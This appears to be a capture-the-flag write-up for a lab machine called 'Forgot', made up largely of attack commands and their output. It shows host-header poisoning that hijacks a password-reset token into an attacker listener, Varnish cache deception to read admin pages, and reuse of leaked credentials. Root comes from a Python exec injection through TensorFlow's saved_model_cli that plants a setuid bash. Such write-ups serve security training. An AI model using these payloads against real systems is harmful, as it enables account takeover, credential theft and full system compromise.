Forgot

Recon

nmap_scan.log
Open 10.129.228.104:22
Open 10.129.228.104:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.228.104

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack Werkzeug httpd 2.1.2 (Python 3.8.10)
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: Login
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png
└─$ feroxbuster -u 'http://10.129.228.104/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -I .css,.png
200      GET        1l       19w     1838c http://10.129.228.104/static/js/5514032.js
200      GET      246l      484w     5189c http://10.129.228.104/login
200      GET        2l      873w   102052c http://10.129.228.104/static/js/uc.js
200      GET      602l     3373w   303580c http://10.129.228.104/static/js/highcharts.js
200      GET      253l      498w     5227c http://10.129.228.104/forgot
200      GET      246l      484w     5188c http://10.129.228.104/
302      GET        5l       22w      189c http://10.129.228.104/home => http://10.129.228.104/
302      GET        5l       22w      189c http://10.129.228.104/tickets => http://10.129.228.104/

There's a comment about fix by robert-dev-142522

└─$ curl http://10.129.228.104/ -s | grep '<!--'
<!-- Q1 release fix by robert-dev-142522 -->
  <!--  IonIcons  -->

└─$ curl http://10.129.228.104/forgot -s | grep '<!--'
  <!--  IonIcons  -->

└─$ curl http://10.129.228.104/tickets -s | grep '<!--'
Writeup-1.png

The link is sent to user's inbox, but there's no way for us to attack or hijack emails as the ports are closed. What we could try is to hijack the urls, IFF someone clicks the link which we ~poison then we can get a callback.

It's possible to inject Host header with new field

└─$ curl http://10.129.228.104/ -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 302 FOUND
Location: http://10.10.14.113
<title>Redirecting...</title>

└─$ curl http://10.129.228.104/tickets -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 302 FOUND
Location: /
<title>Redirecting...</title>

└─$ curl http://10.129.228.104/home -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 302 FOUND
Location: http://10.10.14.113
<title>Redirecting...</title>

└─$ curl http://10.129.228.104/forget -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 404 NOT FOUND
<title>404 Not Found</title>

└─$ curl http://10.129.228.104/forgot -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 200 OK
└─$ curl http://10.129.228.104/forgot?username=robert-dev-142522 -H 'Host: 10.10.14.113'
Password reset link has been sent to user inbox. Please use the link to reset your password 
---
└─$ ncat -lvnp 80
Ncat: Connection from 10.129.228.104:35768.
GET /reset?token=%2B4rLQ4COKT94nDjv4q23l9khLR37h73D3EathFWQeW7eshdfNC1%2B1ER7NoobKlqtJKavJqU1BpzNfWyEvct4fA%3D%3D HTTP/1.1
Host: 10.10.14.113
User-Agent: python-requests/2.22.0

Reset the password

Creds: robert-dev-142522:Password123$

Writeup-2.png

Potential usernames: Luis, Mark, Mario, Diego

The escalated tickets page is disabled, but from frontend. It leads to /admin_tickets, but no access because of permissions.

The site is using Varnish, which is not exploitable, but it can be influenced to act beneficial to us.

Age: 5810
Via: 1.1 varnish (Varnish/6.2)

It's basically caching the pages so pages are served faster and less resources are wasted, but since it's cached by (mostly) path it will show whatever the first user see or does. If admin visits the /admin_tickets and then we visit it, we will get cached page and not permission denied. Problem here is that these pages are not cached indicated by Age: 0, but javascript (/static) files are cached.

Odd thing is that /tickets/ANYTHING is rendering /tickets (???)

Looks like as long as static is in path it's being cached by Varnish and the weird functionality of showing any routes is beneficial to see Escalated Tickets.

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets -Is | grep Age
Age: 0

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets -Is | grep Age
Age: 0

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/1 -Is | grep Age
Age: 0

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/1 -Is | grep Age
Age: 0

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/static/1 -Is | grep Age
Age: 0

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/static/1 -Is | grep Age
Age: 1

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/2/static -Is | grep Age
Age: 0

└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/2/static -Is | grep Age
Age: 3

Escalate the ticket with URL like: http://10.129.71.223/admin_tickets/static/letmein

Writeup-3.png

Wait few seconds for bot to visit the URL, if we visit it first it will get cached by us and we don't want that.

After like 20-30 seconds~

Writeup-4.png
I've tried with diego:dCb#1!x0%gjq. The automation tasks has been blocked due to this issue. Please resolve this at the earliest

Creds: diego:dCb#1!x0%gjq

SSH (22)

└─$ sshpass -p 'dCb#1!x0%gjq' ssh diego@10.129.71.48
diego@forgot:~$ id
uid=1000(diego) gid=1000(diego) groups=1000(diego)

User.txt

diego@forgot:~$ cat user.txt
0e1d37786bf4d785832ff71d62164d1e

Privilege Escalation

Bot code is present in home directory

diego@forgot:~$ cat bot.py
#!/usr/bin/python3
import os
import mysql.connector
import requests
import netifaces as ni

# Fetch Links
conn = mysql.connector.connect(host="localhost",database="app",user="diego",password="dCb#1!x0%gjq")
cursor = conn.cursor()
cursor.execute('select * from forgot')
r = cursor.fetchall()

# Open reset links
for i in r:
        try:
                requests.get(i[1],timeout=10)
        except:
                pass

# Open tickets as admin
cursor.execute('select * from escalate')
r = cursor.fetchall()
tun_ip = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
d = requests.post(f'http://{tun_ip}/login',data={'username':'admin','password':'dCvbgFh345_368352c@!'})
cookie = d.headers['Set-Cookie'].split('=')[1].split(';')[0]

for i in r:
        try:
                print(i[2])
                requests.get(i[2],cookies={'session':cookie})
                requests.get(i[2],cookies={'session':cookie})
                requests.get(i[2],cookies={'session':cookie})
                cursor.execute('delete from escalate where link=%s',(i[2],))
                conn.commit()
        except:
                pass
conn.close()

Database is empty, nothing new

diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' app -e 'SHOW DATABASES;'
+--------------------+
| Database           |
+--------------------+
| app                |
| information_schema |
| performance_schema |
+--------------------+
diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' app -e 'SHOW TABLES;'
+---------------+
| Tables_in_app |
+---------------+
| admin_tickets |
| escalate      |
| forgot        |
| tickets       |
| users         |
+---------------+
diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' app -e 'SELECT * FROM users;'
....Known creds

Check sudo

diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py

Check permissions in script directory

diego@forgot:/opt/security$ find . -ls
    91468      4 drwxr-xr-x   3 root     root         4096 Nov 14  2022 .
    15524      4 drwxr-xr-x   2 root     root         4096 Jul 22  2022 ./lib
    15526      4 -rw-r--r--   1 root     root         1482 Jul  9  2022 ./lib/GaussianNB.sav
    15529  11508 -rw-r--r--   1 root     root     11783960 Jul  9  2022 ./lib/RandomForestClassifier.sav
    15525     88 -rw-r--r--   1 root     root        89314 Jul  9  2022 ./lib/DecisionTreeClassifier.sav
    15527  18924 -rw-r--r--   1 root     root     19375012 Jul  9  2022 ./lib/KNeighborsClassifier.sav
    15528     80 -rw-r--r--   1 root     root        79195 Jul  9  2022 ./lib/MLPClassifier.sav
    15531     52 -rw-r--r--   1 root     root        51534 Jul  9  2022 ./lib/d2v.model
    15530    728 -rw-r--r--   1 root     root       741729 Jul  9  2022 ./lib/SVC.sav
    38107      8 -rwxr-xr-x   1 root     root         5644 Nov 14  2022 ./ml_security.py
diego@forgot:/opt/security$ cat ml_security.py
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string

np.random.seed(42)

f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'

# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")

# Create a function to convert an array of strings to a set of features
def getVec(text):
    features = []
    for i, line in enumerate(text):
        test_data = word_tokenize(line.lower())
        v1 = model.infer_vector(test_data)
        featureVec = v1
        lineDecode = unquote(line)
        lowerStr = str(lineDecode).lower()
        feature1 = int(lowerStr.count('link'))
        feature1 += int(lowerStr.count('object'))
        feature1 += int(lowerStr.count('form'))
        feature1 += int(lowerStr.count('embed'))
        feature1 += int(lowerStr.count('ilayer'))
        feature1 += int(lowerStr.count('layer'))
        feature1 += int(lowerStr.count('style'))
        feature1 += int(lowerStr.count('applet'))
        feature1 += int(lowerStr.count('meta'))
        feature1 += int(lowerStr.count('img'))
        feature1 += int(lowerStr.count('iframe'))
        feature1 += int(lowerStr.count('marquee'))
        # add feature for malicious method count
        feature2 = int(lowerStr.count('exec'))
        feature2 += int(lowerStr.count('fromcharcode'))
        feature2 += int(lowerStr.count('eval'))
        feature2 += int(lowerStr.count('alert'))
        feature2 += int(lowerStr.count('getelementsbytagname'))
        feature2 += int(lowerStr.count('write'))
        feature2 += int(lowerStr.count('unescape'))
        feature2 += int(lowerStr.count('escape'))
        feature2 += int(lowerStr.count('prompt'))
        feature2 += int(lowerStr.count('onload'))
        feature2 += int(lowerStr.count('onclick'))
        feature2 += int(lowerStr.count('onerror'))
        feature2 += int(lowerStr.count('onpage'))
        feature2 += int(lowerStr.count('confirm'))
        # add feature for ".js" count
        feature3 = int(lowerStr.count('.js'))
        # add feature for "javascript" count
        feature4 = int(lowerStr.count('javascript'))
        # add feature for length of the string
        feature5 = int(len(lowerStr))
        # add feature for "<script"  count
        feature6 = int(lowerStr.count('script'))
        feature6 += int(lowerStr.count('<script'))
        feature6 += int(lowerStr.count('&lt;script'))
        feature6 += int(lowerStr.count('%3cscript'))
        feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
        # add feature for special character count
        feature7 = int(lowerStr.count('&'))
        feature7 += int(lowerStr.count('<'))
        feature7 += int(lowerStr.count('>'))
        feature7 += int(lowerStr.count('"'))
        feature7 += int(lowerStr.count('\''))
        feature7 += int(lowerStr.count('/'))
        feature7 += int(lowerStr.count('%'))
        feature7 += int(lowerStr.count('*'))
        feature7 += int(lowerStr.count(';'))
        feature7 += int(lowerStr.count('+'))
        feature7 += int(lowerStr.count('='))
        feature7 += int(lowerStr.count('%3C'))
        # add feature for http count
        feature8 = int(lowerStr.count('http'))

        # append the features
        featureVec = np.append(featureVec,feature1)
        featureVec = np.append(featureVec,feature2)
        featureVec = np.append(featureVec,feature3)
        featureVec = np.append(featureVec,feature4)
        featureVec = np.append(featureVec,feature5)
        featureVec = np.append(featureVec,feature6)
        featureVec = np.append(featureVec,feature7)
        featureVec = np.append(featureVec,feature8)
        features.append(featureVec)
    return features


# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
        data.append(i)
Xnew = getVec(data)

#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)

# show the sample inputs and predicted outputs
def assessData(i):
    score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
    if score >= .5:
        try:
                preprocess_input_exprs_arg_string(data[i],safe=False)
        except:
                pass

for i in range(len(Xnew)):
     t = threading.Thread(target=assessData, args=(i,))
#     t.daemon = True
     t.start()

preprocess_input_exprs_arg_string(data[i],safe=False) seems dangerous -> Code injection in saved_model_cli

hello=exec("""\n__import__("os").system("install -m4777 /bin/bash /tmp/rootbash")""") # <script>alert(1)</script>
Writeup-5.png

Root.txt

diego@forgot:/opt/security$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(diego) gid=1000(diego) euid=0(root) groups=1000(diego)
rootbash-5.0# cat /root/root.txt
1670096a58e7608290a3706f10c05669

Last updated